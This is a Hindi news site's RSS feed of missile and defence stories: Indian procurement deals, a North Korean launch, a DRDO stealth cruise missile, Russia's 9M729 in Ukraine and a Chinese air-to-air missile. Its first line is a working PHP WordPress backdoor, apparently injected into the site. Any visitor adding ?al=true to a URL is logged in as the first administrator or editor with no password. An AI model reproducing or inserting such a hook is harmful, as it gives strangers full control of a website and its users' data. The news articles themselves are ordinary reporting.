// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); missile – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 29 Mar 2026 03:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 आसमान में ही जलकर राख होंगे दुश्मन, भारत बना ड्रोन और क्रूज मिसाइलों का काल https://pratyushaashakinayikiran.com/?p=208652 Sun, 29 Mar 2026 03:36:00 +0000 https://pratyushaashakinayikiran.com/?p=208652 नई दिल्ली

भारत की रक्षा ताकत में अब एक और बड़ा और खतरनाक इजाफा हो गया है. रक्षा मंत्रालय ने नई दिल्ली के कर्तव्य भवन-2 में 858 करोड़ रुपए के दो बड़े एग्रीमेंट साइन किए हैं.  इनका सीधा मकसद भारत के आसमान और समंदर की सुरक्षा को पूरी तरह से अभेद्य बनाना है. इंडियन आर्मी को रूस का टुंगुस्का एयर डिफेंस सिस्टम मिलने वाला है। 

यह सिस्टम दुश्मन के विमानों, ड्रोन्स और क्रूज मिसाइलों को पलक झपकते ही हवा में खाक कर देगा. इसके साथ ही इंडियन नेवी के P8I एयरक्राफ्ट के मेंटेनेंस के लिए भी एक बड़ी डील हुई है. बोइंग इंडिया डिफेंस प्राइवेट लिमिटेड के साथ यह करार भारत में ही होगा. इससे देश के आत्मनिर्भर भारत और मेक इन इंडिया विजन को एक बहुत बड़ा बूस्ट मिलेगा. भारत अब हर तरह के खतरे से निपटने के लिए पूरी तरह तैयार है। 

‘445 करोड़ में रूस से मिला एयर डिफेंस सिस्टम’
भारतीय सेना को अब टुंगुस्का एयर डिफेंस मिसाइल सिस्टम मिलेगा. इसके लिए रूस की कंपनी के साथ 445 करोड़ रुपए का बड़ा एग्रीमेंट साइन हुआ है. यह आधुनिक मिसाइल सिस्टम भारत की एयर डिफेंस पावर को कई गुना बढ़ा देगा. दुश्मन का कोई भी विमान, ड्रोन या क्रूज मिसाइल अब भारत की सीमा में घुस नहीं पाएगा. इससे रूस और भारत का रक्षा सहयोग भी और ज्यादा मजबूत हुआ है। 

‘नेवी के P8I एयरक्राफ्ट के लिए बोइंग से हुई डील’
भारतीय नौसेना की ताकत बढ़ाने के लिए भी बड़ा कदम उठाया गया है. नौसेना के P8I विमान की जांच और मेंटेनेंस के लिए एक अहम समझौता हुआ है. यह एग्रीमेंट 413 करोड़ रुपए में बोइंग इंडिया डिफेंस प्राइवेट लिमिटेड के साथ साइन किया गया है. यह काम पूरी तरह से भारत में ही किया जाएगा। 

‘मेक इन इंडिया और आत्मनिर्भर भारत को मिला बूस्ट’
P8I विमानों का मेंटेनेंस देश के अंदर ही होने से बहुत बड़ा फायदा होगा. इससे मेक इन इंडिया और आत्मनिर्भर भारत अभियान को भारी ताकत मिलेगी. देश में ही मेंटेनेंस की आधुनिक सुविधाएं काफी मजबूत होंगी. भारत अब रक्षा उपकरणों के रखरखाव के लिए विदेशी कंपनियों पर निर्भर नहीं रहेगा. यह डिफेंस सेक्टर में स्वदेशीकरण की दिशा में एक बहुत बड़ा कदम है। 

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उत्तर कोरिया ने दागी मिसाइल, अमेरिका दक्षिण कोरिया से THAAD हटाने की करेगा तैयारी https://pratyushaashakinayikiran.com/?p=204779 Sat, 14 Mar 2026 10:26:00 +0000 https://pratyushaashakinayikiran.com/?p=204779 फियोंगयांग

ईरान वॉर अभी तक समाप्‍त नहीं हुआ है, पर एक और क्षेत्र में तनाव की आहट ने खलबली मचा दी है. कोरियाई प्रायद्वीप से बड़ी खबर सामने आ रही है. दक्षिण कोरिया का कहना है कि उत्‍तर कोरिया ने मिसाइल दागी है. उत्‍तर और दक्षिण केारिया के बीच तनाव नई बात नहीं है. दोनों देशों के बीच संबंध लंबे समय से तल्‍ख हैं. उत्‍तर कोरिया को चीन और रूस का करीबी माना जाता है, जब‍कि साउथ कोरिया अमेरिका का करीबी सहयोगी है. दक्षिण कोरिया में अमेरिकी सैन्‍य बेस भी स्थित है. किम जॉन्‍ग उन के देश की तरफ से ऐसे समय में मिसाइल दागी गई है, जब अमेरिका दक्षिण कोरिया से अपने कुछ THAAD मिसाइल डिफेंस सिस्‍टम को हटाने पर विचार कर रहा है. ऐसे में उत्‍तर कोरिया के कदम से दक्षिण कोरिया की चिंता बढ़ गई है.

रिपोर्ट के अनुसार, नॉर्थ कोरिया ने समंदर की तरफ मिसाइल दागी है. उत्‍तर कोरिया की तरफ से अक्‍सर ही समंदर का रुख कर मिसाइल परीक्षण किए जाते रहे हैं. यह कोई पहला मौका नहीं है, जब किम जोंग उन के देश की तरफ से इस तरह की कार्रवाई की गई है. हालांकि, इस बार की टाइमिंग काफी अहम है. पश्चिम एशिया में हालात पहले से ही खराब है. अमेरिका और इजरायल ने संयुक्‍त रूप से ईरान पर अटैक कर दिया है. तेहरान की तरफ किए गए पलटवार से माहौल पहले ही तनावपूर्ण और गंभीर हो चुके हैं. ऐसे में उत्‍तर कोरिया की ओर से मिसाइल दागने से एशिया के एक और जोन में हालात तनावपूर्ण होने की आशंका बढ़ गई है. चीन की आक्रामक नीतियों की वजह से इस क्षेत्र में ऐसे ही तनाव का आलम है.

जापान सतर्क
उत्तर कोरिया ने शनिवार को एक संदिग्ध बैलिस्टिक मिसाइल का प्रक्षेपण किया है. जापान के रक्षा मंत्रालय ने यह जानकारी दी है. ‘निक्‍केई एशिया’ के अनुसार, सूत्रों का कहना है कि यह मिसाइल संभवतः जापान के विशेष आर्थिक क्षेत्र (EEZ) के बाहर जाकर गिरी. इस प्रक्षेपण के कारण किसी प्रकार के नुकसान की कोई खबर नहीं है. वहीं, दक्षिण कोरिया की सेना ने बताया कि उत्तर कोरिया ने पूर्व दिशा की ओर कम से कम एक अज्ञात प्रक्षेपास्त्र यानी प्रोजेक्‍टाइल दागा. इससे पहले उत्तर कोरिया ने 27 जनवरी को जापान सागर की ओर दो बैलिस्टिक मिसाइलें दागी थीं, जिनके बारे में भी आकलन किया गया था कि वे जापान के ईईजेड के बाहर गिरी थीं.

बढ़ा तनाव, क्या खुलेगा जंग का तीसरा मोर्चा या होगी World WAR 3?

दक्षिण कोरिया की सेना के अनुसार, शनिवार को उत्तर कोरिया ने जापान सागर की ओर एक संदिग्ध बैलिस्टिक मिसाइल दागी। इससे पूर्वी एशिया में नया तनाव पैदा हो गया है, जबकि दुनिया के अन्य हिस्सों में चल रहे संघर्ष अभी भी वैश्विक सुरक्षा चिंताओं का मुख्य केंद्र बने हुए हैं। दक्षिण कोरिया के जॉइंट चीफ्स ऑफ स्टाफ ने बताया कि यह मिसाइल उत्तर कोरिया से उसके पूर्वी जलक्षेत्र की ओर दागी गई थी, जिसे आमतौर पर जापान सागर (पूर्वी सागर) के नाम से जाना जाता है। अधिकारियों ने शुरू में इस हथियार को अज्ञात मिसाइल बताया था, लेकिन माना जा रहा है कि यह एक बैलिस्टिक मिसाइल ही थी।

अमेरिका- दक्षिण कोरिया कर रहे सैन्य अभ्यास
बता दें कि यह मिसाइल तब दागी गई जब अमेरिका और दक्षिण कोरिया मिलकर अपना सालाना स्प्रिंगटाइम संयुक्त सैन्य अभ्यास कर रहे थे, जिसमें हजारों सैनिक हिस्सा ले रहे हैं। वहीं दूसरी ओर, ट्रंप प्रशासन ईरान के खिलाफ भी एक बढ़ता हुआ युद्ध लड़ रहा है। हाल ही में इजरायल और अमेरिका ने मिलकर ईरान पर हमला बोल दिया था, जो कि युद्ध हर दिन के साथ बढ़ा और हर जगह तबाही मची हुई है। इसमें ईरान से लेकर इजयारल और अमेरिका तक को नुकसान हो रहा है, क्योंकि ईरान खाड़ी देश में मौजूद अमेरिकी ठिकानों को निशाना बना रहा है।

उत्तर कोरिया ने क्यों की होगी मिसाइल लॉन्च?
उत्तरी कोरिया लंबे समय से सहयोगी देशों के सैन्य अभ्यासों को 'आक्रमण का पूर्वाभ्यास' बताता रहा है, और अक्सर इनका इस्तेमाल अपने सैन्य प्रदर्शनों या हथियारों के परीक्षण को तेज करने के बहाने के तौर पर करता है।

यह मिसाइल लॉन्च, उत्तर कोरियाई नेता किम जोंग उन की प्रभावशाली बहन द्वारा मंगलवार को वॉशिंगटन और सियोल की आलोचना किए जाने के कुछ ही दिनों बाद हुआ। उन्होंने वैश्विक सुरक्षा के लिए एक खतरनाक मोड़ पर अपने सैन्य अभ्यास जारी रखने के लिए इन दोनों देशों की आलोचना की थी, और चेतावनी दी थी कि उत्तर कोरिया की सुरक्षा को दी गई कोई भी चुनौती भयानक परिणामों को जन्म देगी।

बता दें कि 11-दिवसीय 'फ्रीडम शील्ड' अभ्यास, जो 19 मार्च तक चलेगा, यह संयुक्त राज्य अमेरिका और दक्षिण कोरिया की सेनाओं द्वारा आयोजित किए जाने वाले दो वार्षिक कमांड पोस्ट अभ्यासों में से एक है।

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‘स्टील्थ’ क्रूज मिसाइल: 700 KM रेंज, S-400 और THAAD के लिए चुनौती, ब्रह्मोस से भी आगे https://pratyushaashakinayikiran.com/?p=199356 Fri, 20 Feb 2026 04:38:00 +0000 https://pratyushaashakinayikiran.com/?p=199356 बेंगलुरु 

 21वीं सदी का युद्ध 20वीं सदी के मुकाबले काफी बदल चुका है. अब दुश्‍मन की सरजमीन पर कदम रखे बिना उसे मिट्टी में मिलाया जा सकता है. लॉन्‍ग रेंज मिसाइल किसी भी देश में तबाही लाने में सक्षम है. इसके अलावा स्‍टील्‍थ यानी पांचवीं पीढ़ी का लड़ाकू विमान मॉडर्न रडार सिस्‍टम को धोखा देकर टार्गेट को खत्‍म कर सकता है. अमेरिका के स्‍टील्‍थ बॉम्‍बर ने ईरान में जमकर तबाही मचाई थी, पर तेहरान का रडार सिस्‍टम उसे कैच नहीं कर सका था. इसे देखते हुए तमाम पावरफुल देश टेक्‍नोलॉजिकली एडवांस्‍ड एयर डिफेंस सिस्‍टम डेवलप कर रहा है, ताकि किसी भी तरह के एरियल थ्रेट से निपटा जा सके. अब जरा सोचिए स्‍टील्‍थ फाइटर जेट के साथ ‘स्‍टील्‍थ’ लॉन्‍ग रेंज क्रूज मिसाइल को पेयर किया जाए तो फिर क्‍या होगा? भारत इसी प्रोजेक्‍ट पर काम कर रहा है.

भारत ने पांचवीं पीढ़ी का फाइटर जेट बनाने के लिए AMCA प्रोजेक्‍ट लॉन्‍च किया है. इसके तहत रडार और एयर डिफेंस सिस्‍टम को चकमा देने वाला स्‍टील्‍थ फाइटर जेट डेवलप किया जा रहा है. साल 2030 के बाद पांचवीं पीढ़ी का देसी लड़ाकू विमान इंडियन एयरफोर्स के बेड़े में शामिल किए जाने की संभावना है. अब रक्षा अनुसंधान एवं विकास संगठन (DRDO) स्‍टील्‍थ ऑप्‍टीमाइज्‍ड लॉन्‍ग रेंज लैंड अटैक क्रूज मिसाइल (LR-LACM) डेवलप करने में जुटा है. इस क्रूज मिसाइल को AMCA के तहत डेवलप किए जा रहे पांचवीं पीढ़ी के फाइटर जेट के साथ इंटीग्रेट करने की योजना है. 600 से 700 किलोमीटर तक मार करने में सक्षम यह मिसाइल S-400, THAAD, आयरन डोम जैसे एयर डिफेंस सिस्‍टम को चकमा दे सकती है.

भारत के पांचवीं पीढ़ी के लड़ाकू विमान कार्यक्रम को मजबूती देने की दिशा में एक महत्वपूर्ण कदम उठाते हुए Defence Research and Development Organisation (DRDO) एडवांस्ड मीडियम कॉम्बैट एयरक्राफ्ट (AMCA) के लिए विशेष रूप से डिजाइन की गई कॉम्पैक्ट और स्टील्थ-ऑप्टिमाइज्ड क्रूज मिसाइल विकसित करने पर काम कर रहा है. इस प्रोजेक्‍ट का उद्देश्य केवल किसी मौजूदा हथियार को नए विमान से जोड़ना नहीं, बल्कि AMCA की स्टील्थ क्षमता को बरकरार रखते हुए उसे लंबी दूरी तक सटीक हमला करने में सक्षम बनाना है. रक्षा विशेषज्ञों के अनुसार, यह पहल भारत की स्वदेशी सैन्य तकनीक को नई ऊंचाई देने के साथ भविष्य के हवाई युद्ध में रणनीतिक बढ़त सुनिश्चित कर सकती है. यह मिसाइल विशेष रूप से AMCA के आंतरिक हथियार कक्ष (इंटरनल वेपन बे) में फिट होने के लिए तैयार की जा रही है, जिससे विमान की रडार से बचने की क्षमता प्रभावित न हो.

स्‍टील्‍थ क्रूज मिसाइल इतना खास क्‍यों?

    मिसाइल का वेट: 1000 किलोग्राम (संभावित)
    मिसाइल का रेंज: 600 से 700 किलोमीटर
    मिसाइल वर्जन: एयर टू लैंड अटैक
    AMCA के लिए खासतौर पर किया जाएगा डेवलप
    आकार में छोटा, पर बेहतरीन होगी टेक्‍नोलॉजी

स्टील्थ डिजाइन और वेपन सिस्‍टम

AMCA Aeronautical Development Agency (ADA) द्वारा विकसित किया जा रहा है. यह शुरू से ही स्टील्थ टेक्‍नोलॉजी पर आधारित है. इसमें इंटरनल वेपन बे की व्यवस्था है, जिससे बाहरी यानी आउटर पायलन पर हथियार फिट की जरूरत नहीं पड़ती और विमान की रडार क्रॉस सेक्शन बेहद कम रहती है. इससे दुश्मन के रडार सिस्टम के लिए विमान का पता लगाना कठिन हो जाता है. रडार क्रॉस सेक्‍शन कम होने की वजह से उन्‍नत रडार के साथा ही S-400, THAAD और आयरन डोम जैसे एयर डिफेंस सिस्‍टम के लिए भी इस मिसाइल को इंटरसेप्‍ट कर पाना कठिन होगा. लंबी दूरी की पारंपरिक क्रूज़ मिसाइलें आकार और वजन में बड़ी होती हैं, जिससे उन्हें इंटरनल बे में रखना चुनौतीपूर्ण हो जाता है. मौजूदा लंबी दूरी की क्रूज मिसाइलों का वजन लगभग 1500 किलोग्राम या उससे अधिक होता है, जो AMCA के डिजाइन और वेपन इंटीग्रेशन में बाधा पैदा कर सकता है. इसी चुनौती से निपटने के लिए DRDO एक छोटे आकार की नई मिसाइल पर काम कर रहा है, जिसका वजन लगभग 1000 किलोग्राम रखने का लक्ष्य है. हल्के वजन के कारण AMCA अपने प्रत्येक इंटरनल वेपन बे में दो मिसाइल तक ले जा सकेगा. साथ ही हवा से हवा में मार करने वाली मिसाइलों को भी साथ रखने की क्षमता बनाए रखेगा.

600 से 700 किलोमीटर रेंज

नई कॉम्पैक्ट क्रूज मिसाइल की अनुमानित मारक क्षमता लगभग 600 से 700 किलोमीटर तक होगी. भले ही यह दूरी पारंपरिक लंबी दूरी की मिसाइलों से कम हो, लेकिन सामरिक दृष्टि से यह थिएटर लेवल के ऑपरेशन के लिए पर्याप्त मानी जा रही है. इस मिसाइल का उपयोग दुश्मन के कमांड सेंटर, वायु रक्षा प्रणाली और लॉजिस्टिक ठिकानों जैसे हाई वैल्‍यू के लक्ष्यों पर सटीक हमला करने के लिए किया जा सकेगा. एक्‍सपर्ट का मानना है कि यह रेंज AMCA के लगभग 1500 किलोमीटर के कॉम्बैट रेडियस के साथ संतुलन बनाती है, जिससे विमान बिना दुश्मन की सीमा में गहराई तक प्रवेश किए भी प्रभावी हमला कर सकेगा.
कम रडार सिग्नेचर

इस मिसाइल की सबसे बड़ी विशेषता इसका स्टील्थ सेंट्रिक डिजाइन होगा. इसमें रडार पर कम दिखाई देने वाली संरचना, उन्नत कंपोजिट सामग्री और विशेष आकार का उपयोग किया जा सकता है, जिससे लॉन्च के दौरान भी विमान की स्टील्थ क्षमता प्रभावित न हो. वेपन बे खुलने के दौरान भी मिनिमम रडार सिग्नेचर बनाए रखने पर विशेष ध्यान दिया जा रहा है. इसके अलावा मिसाइल में स्वदेशी छोटे टर्बोफैन इंजन तकनीक, अत्याधुनिक मार्गदर्शन प्रणाली और कम ऊंचाई पर उड़ान भरने की क्षमता जैसे फीचर शामिल होने की संभावना है. यह तकनीक दुश्मन के रडार से बचते हुए सटीक लक्ष्य भेदन सुनिश्चित करेगी.
स्वदेशी रक्षा क्षमता को बढ़ावा

यह परियोजना फिलहाल कॉन्‍सेप्‍ट और डिजाइन चरण में है, लेकिन इसका उद्देश्य स्पष्ट है. 2030 के दशक के मध्य तक AMCA को पूरी तरह स्वदेशी और अत्याधुनिक हथियार प्रणाली से लैस करना. इससे भारत की रक्षा आत्मनिर्भरता को मजबूत करने के साथ विदेशी हथियारों पर निर्भरता कम करने में मदद मिलेगी. रक्षा विश्लेषकों का कहना है कि AMCA और नई स्टील्थ क्रूज मिसाइल का यह संयोजन भारत की वायु शक्ति को नई रणनीतिक क्षमता प्रदान करेगा. यह न केवल देश की सुरक्षा जरूरतों को पूरा करेगा, बल्कि वैश्विक स्तर पर भारत की रक्षा तकनीक की प्रतिष्ठा भी बढ़ाएगा. कुल मिलाकर DRDO का यह प्रयास भारत की सैन्य तकनीकी प्रगति की दिशा में एक महत्वपूर्ण कदम माना जा रहा है, जो भविष्य के युद्धक्षेत्र में घातक क्षमता और स्‍टील्‍थ क्षमता दोनों को संतुलित करने की रणनीति को दर्शाता है.

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रूस ने यूक्रेन पर बैन की गई मिसाइल दागी, ट्रंप ने तोड़ी थी परमाणु संधि — जेलेंस्की की चिंता बढ़ी https://pratyushaashakinayikiran.com/?p=188756 Sun, 02 Nov 2025 04:05:00 +0000 https://pratyushaashakinayikiran.com/?p=188756 रूस ने यूक्रेन पर बैन की गई मिसाइल दागी, ट्रंप ने तोड़ी थी परमाणु संधि — जेलेंस्की की चिंता बढ़ी

यूक्रेन में तनाव बढ़ा: रूस ने लॉन्च की प्रतिबंधित मिसाइल, ट्रंप के कदम ने बढ़ाई जेलेंस्की की परेशानी

बैन की गई मिसाइल से हड़कंप, ट्रंप की परमाणु संधि तोड़ने की छाया में जेलेंस्की ने जताई चिंता

मॉस्को 

रूस और यूक्रेन के बीच चल रहे युद्ध में एक बड़ा खुलासा हुआ है. यूक्रेन के विदेश मंत्री आंद्रेई सिबिहा (Andrii Sybiha) ने दावा किया है कि रूस ने हाल के महीनों में यूक्रेन पर 9M729 क्रूज मिसाइल इस्तेमाल किया है. ये वही मिसाइल है, जिसके डेवलपमेंट के कारण अमेरिका ने साल 2019 में रूस के साथ परमाणु हथियार नियंत्रण समझौता (INF Treaty) तोड़ दिया था. यह पहली बार है जब किसी अधिकारी ने पुष्टि की है कि रूस ने इस मिसाइल को वास्तविक युद्ध में इस्तेमाल किया है.

क्या है 9M729 मिसाइल?

9M729 एक ग्राउंड-लॉन्च क्रूज मिसाइल है जो परमाणु या पारंपरिक (Conventional) दोनों तरह के वारहेड ले जा सकती है. इसकी रेंज लगभग 2,500 किलोमीटर तक बताई जाती है, यानी यह मिसाइल यूरोप के किसी भी हिस्से को निशाना बना सकती है. अमेरिका ने साल 2019 में कहा था कि यह मिसाइल INF संधि का उल्लंघन करती है, क्योंकि उसकी अधिकतम अनुमति केवल 500 किमी तक थी. रूस ने उस समय इस आरोप को खारिज कर दिया था, लेकिन उसी विवाद की वजह से तत्कालीन अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप ने इस संधि से अमेरिका को बाहर निकाल लिया था.

रूस ने यूक्रेन पर 23 बार किया इस्तेमाल

रॉयटर्स की रिपोर्ट के मुताबिक यूक्रेन के एक वरिष्ठ अधिकारी ने बताया कि रूस ने अगस्त से अब तक इस मिसाइल को 23 बार यूक्रेन पर दागा है. इससे पहले 2022 में भी दो बार इस मिसाइल का इस्तेमाल रिकॉर्ड किया गया था. सबसे ताजा हमला 5 अक्टूबर को हुआ, जब एक 9M729 मिसाइल ने 1,200 किलोमीटर की दूरी तय कर यूक्रेन के लापाइव्का गांव में एक रिहायशी इमारत पर वार किया. इस हमले में चार लोगों की मौत हुई. मलबे में मिले टुकड़ों पर ‘9M729’ का निशान साफ देखा गया, जिससे पुष्टि होती है कि हमला इसी मिसाइल से किया गया था.

रूस ने चलाई लंबी दूरी की मिसाइल.

‘पुतिन दे रहे चुनौती’

यूक्रेन के विदेश मंत्री सिबिहा ने कहा कि रूस का यह कदम यह दिखाता है कि राष्ट्रपति व्लादिमीर पुतिन (Vladimir Putin) को अमेरिका या डोनाल्ड ट्रंप की कूटनीतिक कोशिशों की कोई परवाह नहीं है. उन्होंने कहा कि ‘INF से बैन की गई मिसाइल का इस्तेमाल यह साबित करता है कि पुतिन अंतरराष्ट्रीय नियमों को चुनौती देना चाहते हैं.’ सिबिहा ने कहा कि यूक्रेन अब भी ट्रंप की शांति पहल का समर्थन करता है, लेकिन रूस पर ‘अधिकतम दबाव’ डालना जरूरी है ताकि वह युद्ध खत्म करने को मजबूर हो.

रूस का मकसद क्या है?

विश्लेषकों के मुताबिक, रूस 9M729 मिसाइल के ज़रिए यूक्रेन के बहुत अंदर तक हमले कर सकता है, क्योंकि यह ग्राउंड-बेस्ड और मोबाइल लॉन्चर से दागी जाती है, जिन्हें छिपाना आसान होता है. यह मिसाइल रूस को ‘सुरक्षित दूरी’ से हमले करने की क्षमता देती है, यानी वह अपने ही क्षेत्र से हमला कर सकता है और जवाबी खतरे से बच सकता है. अंतरराष्ट्रीय सुरक्षा विशेषज्ञ डगलस बैरी का कहना है कि रूस शायद इस मिसाइल को ‘वास्तविक युद्ध क्षेत्र में परखना’ चाहता है, लेकिन 23 बार इस्तेमाल का मतलब यह भी है कि अब यह सिर्फ टेस्ट नहीं, बल्कि सैन्य रणनीति का हिस्सा बन चुकी है.

यूरोप के लिए खतरे की घंटी!

ब्रिटेन के पूर्व रक्षा अटैशे जॉन फोरमैन ने कहा कि अगर यह साबित हो गया कि रूस INF रेंज की मिसाइलों का इस्तेमाल कर रहा है, तो यह केवल यूक्रेन नहीं, बल्कि पूरे यूरोप की सुरक्षा के लिए खतरा है. उन्होंने कहा कि ‘ये मिसाइलें आसानी से परमाणु वारहेड ले जा सकती हैं, और यूरोपीय देशों की सीमा तक पहुंचने में इन्हें कुछ ही मिनट लगेंगे.’

रूस ने हाल में परमाणु क्षमता वाली ‘ब्यूरवेस्टनिक’ क्रूज़ मिसाइल और ‘पोसाइडन’ न्यूक्लियर टॉरपीडो के परीक्षण का भी ऐलान किया है. इन लगातार परीक्षणों से यह संकेत मिलता है कि मॉस्को अब नई पीढ़ी के परमाणु हथियारों को खुलकर मैदान में उतार रहा है. व्हाइट हाउस ने इस पर आधिकारिक प्रतिक्रिया नहीं दी, लेकिन हाल ही में ट्रंप ने अमेरिकी सेना को न्यूक्लियर वेपन टेस्टिंग फिर से शुरू करने का आदेश दिया है.

 

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‘ब्रह्मोस तो सिर्फ ट्रेलर था!’ दुनिया दहली इस मिसाइल से, अमेरिका भी रह गया पीछे https://pratyushaashakinayikiran.com/?p=174441 Thu, 31 Jul 2025 03:38:00 +0000 https://pratyushaashakinayikiran.com/?p=174441 बेंगलुरु 

ऑपरेशन सिंदूर के दौरान ब्रह्मोस मिसाइल सिस्टम की ताकत पूरी दुनिया ने देखी. यह अपने आप में अद्भुत मिसाइल सिस्टम है. इसने पाकिस्तान में जो कोहराम मचाया था उसकी मार से वह अब तक उबरा नहीं है. लेकिन, हमें यह समझना होगा कि दुनिया केवल ब्रह्मोस तक ही नहीं सिमट जाती है. यह अच्छी बात है कि हमारे पास ब्रह्मोस जैसी मिसाइल सिस्टम है. यह दुनिया के चुनिंदा बेहतरीन मिसाइल सिस्टमों में से एक है न कि यही पूरी दुनिया है. इसी कारण आपको हम आज एक ऐसे मिसाइल सिस्टम की बात कर रहे हैं जिसके सामने ब्रह्मोस बिल्कुल बच्चा है. हम जिस सिस्टम की बात कर रहे हैं वह पूरी दुनिया में हथियारों और सैन्य संतुलन को बुरी तरह बिगाड़ सकता है.

जी हां, हम बात कर रहे हैं अपने पड़ोसी देश चीन की. वहां के वैज्ञानिकों ने एक बेहद खतरनाक मिसाइल बनाई है. अगर इसके बारे में किए जा रहे दावे को सच माना जाए तो निश्चित तौर पर यह दुनिया की तस्वीर बदलने वाली मिसाइल सिस्टम है. इस बारे में साउथ चाइना मॉर्निंग पोस्ट ने एक डिटेल रिपोर्ट छापी है. रिपोर्ट के मुताबिक चीन ने बियोंड विजुअल रेंज (BVR) मिसाइल का परीक्षण किया है. इस मिसाइल की रेंज 1000 किमी है. यह एक एयर टु एयर मिसाइल सिस्टम है.

6000 किमी की स्पीड वाली मिसाइल

अब आप कह रहे होंगे कि इसमें कौन सी बड़ी बात है. कई देशों के पास बीवीआर मिसाइल सिस्टम है. इस मिसाइस की स्पीड 5 मैक की है. यानी इसकी स्पीड करीब 6112 किमी प्रति घंटे की है. इस मिसाइल सिस्टम की सबसे बड़ी बात यह है कि यह दुनिया के सबसे आधुनिक फाइटर जेट्स एफ-35, एफ-22 रैप्टर, बी-21 रैडर जैसों को 1000 किमी दूर से मारने की क्षमता रखता है. यानी यह पांचवीं पीढ़ी या 5+ पीढ़ी के फाइटर जेट्स को 1000 किमी दूर ही नष्ट कर सकता है. ऐसे में आप कल्पना कर रहे सकते हैं कि राफेल, सुखोई जैसे चौथी या 4.5 पीढ़ी के फाइटर जेट्स के खिलाफ यह कितना प्रभावी होगा.

इस रिपोर्ट में कहा गया है कि चीन की योजना इस हथियार को संभावित संघर्ष वाले क्षेत्रों जैसे ताइवाइ स्ट्रेट और साउथ चाइन सी में तैनाती की है. यह मौजूदा वक्त में दुनिया के सबसे उन्नत हथियारों में गिना जा रहा है.

क्यों इतना अहम है ये मिसाइल

बीवीआर तकनीक कोई नई तकनीक नहीं है. लेकिन, इस तकनीक पर इतनी लंबी दूरी की मिसाइल सिस्टम बनाना दुनिया के वैज्ञानिकों और सैन्य इंजीनियरों के लिए आज भी एक बड़ी चुनौती है. जहां तक इस तकनीक पर आधारित मिसाइल सिस्टम की बात है तो रूस और अमेरिका के पास ऐसी मिसाइलें हैं. भारत ने भी ऐसी मिसाइल विकसित की है. रूस के पास R-37M और अमेरिका के पास AIM-174B बीवीआर मिसाइस सिस्टम है. इन मिसाइलों की रेंज मात्र 350 से 400 किमी है.

जहां तक भारत की बात है तो हम अस्त्र एमके-3 बीवीआर सिस्टम बना रहे हैं. हमारी योजना है कि इसकी रेंज भी 350 से 400 किमी का हो जाए. अगर चीन की इस बीवीआर मिसाइल के बारे में किए गए दावे सही हैं तो यह पूरी दुनिया की तस्वीर बदलने वाली है. यह पूरे इलाके में शक्ति संतुलन बिगाड़ सकती है.

    कितना खतरनाक है यह मिसाइल सिस्टम

    जहां तक इस मिसाइल सिस्टम की क्षमता की बात है तो यह मौजूदा वक्त की सबसे एडवांस डिफेंस सिस्टम 5वीं पीढ़ी के फाइटर जेट्स को पूरी तरह बेकार साबित कर देगी. यह अवाक्स और एईडब्ल्यू एंड सी विमानों की भी सार्थकता खत्म कर देगी. ये सभी सिस्टम दुश्मन पर वार करने से पहले ही इस मिसाइल सिस्टम से मार गिराए जा सकते हैं.

भारत के लिए कितना खतरा

चीन द्वारा विकसित इस सिस्टम से सबसे ज्यादा खतना भारत, जापान, ताइवान और अमेरिका को है. इन देशों की पूरी एयर डिफेंस स्ट्रेटजी और कंबैट एयर पैट्रोल रेंज बुरी तरह प्रभावित हो सकती है. ऐसे में भारत के सामने नई चुनौती खड़ा हो गई कि वह अपनी बीवीआर मिसाइल क्षमता को बढ़ाए. भारत ने इस तकनीक पर आधारित अस्त्र एमके-1 और एमके-2 मिसाइल बनाने में सफलता हासिल की है. लेकिन, हाइपरसोनिक स्पीड वाली एमके-3 पर अब भी काम जारी है. इस पर डीआरडीओ और इसरो मिलकर काम रहे हैं. वर्ष 2000 में अस्त्र सीरीज के इस मिसाइल सिस्टम पर काम शुरू हुआ. लेकिन, इस दिशा में प्रगति काफी धीमी है. हमारे पास अभी केवल एमके-1 बीवीआर मिसाइल है और इसकी रेंज मात्र 80 से 110 किमी है. सैन्य विशेषज्ञ इसमें कई तरह की खामियां बता रहे हैं. हालांकि 2022 में रक्षा मंत्रालय ने करीब 3000 करोड़ रुपये से एयरफोर्स के लिए इन मिसाइलों को खरीदने की मंजूरी दी थी. इन्हें कुछ सुखोई-30 एमकेआई जेट्स में लगाया गया है. एके-2 सीरीज करीब-करीब पूरा होने के कगार पर है. इसमें कमियों को दूर करने की कोशिश की गई है.

क्या है बीवीआर तकनीक

बीवीआर मौजूदा वक्त की सबसे एडवांस तकनीक है. इस तकनीक में देखने की सीमा से परे जाकर वार करने की क्षमता मिलती है. इसी कारण इसे बियोंड विजुअल रेंज कहा जाता है. एक एयरफोर्स पायलट की आंखों से देखने की क्षमता करीब 37 किमी की होती है. वह इतने दूर से दुश्मन के विमानों और लक्ष्यों को निशाना बना सकता है. लेकिन, बीवीआर तकनीक बेहद एडवांस रडार, सेंसर और उन्नत नेविगेशन सिस्टम से लैस होती है. ये दिखाई नहीं देने वाले लंबी दूरी के लक्ष्यों को नष्ट करते हैं. भारत की अस्त्र मिसाइल इस सिस्टम पर आधारित है. यह खुद ही लक्ष्यों को खोजती है और पायलट के कंट्रोल से बाहर जाकर खुद हमला करती है. ये मिसाइलें फायर एंड फॉर्गेट क्षमता से लैस होती हैं.

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इजरायली हमले में तीन पत्रकार हुए ढेर, लेबनान में दफ्तर पर ही आकर गिरीं मिसाइलें https://pratyushaashakinayikiran.com/?p=89547 Fri, 25 Oct 2024 12:36:00 +0000 https://pratyushaashakinayikiran.com/?p=89547  बेरूत

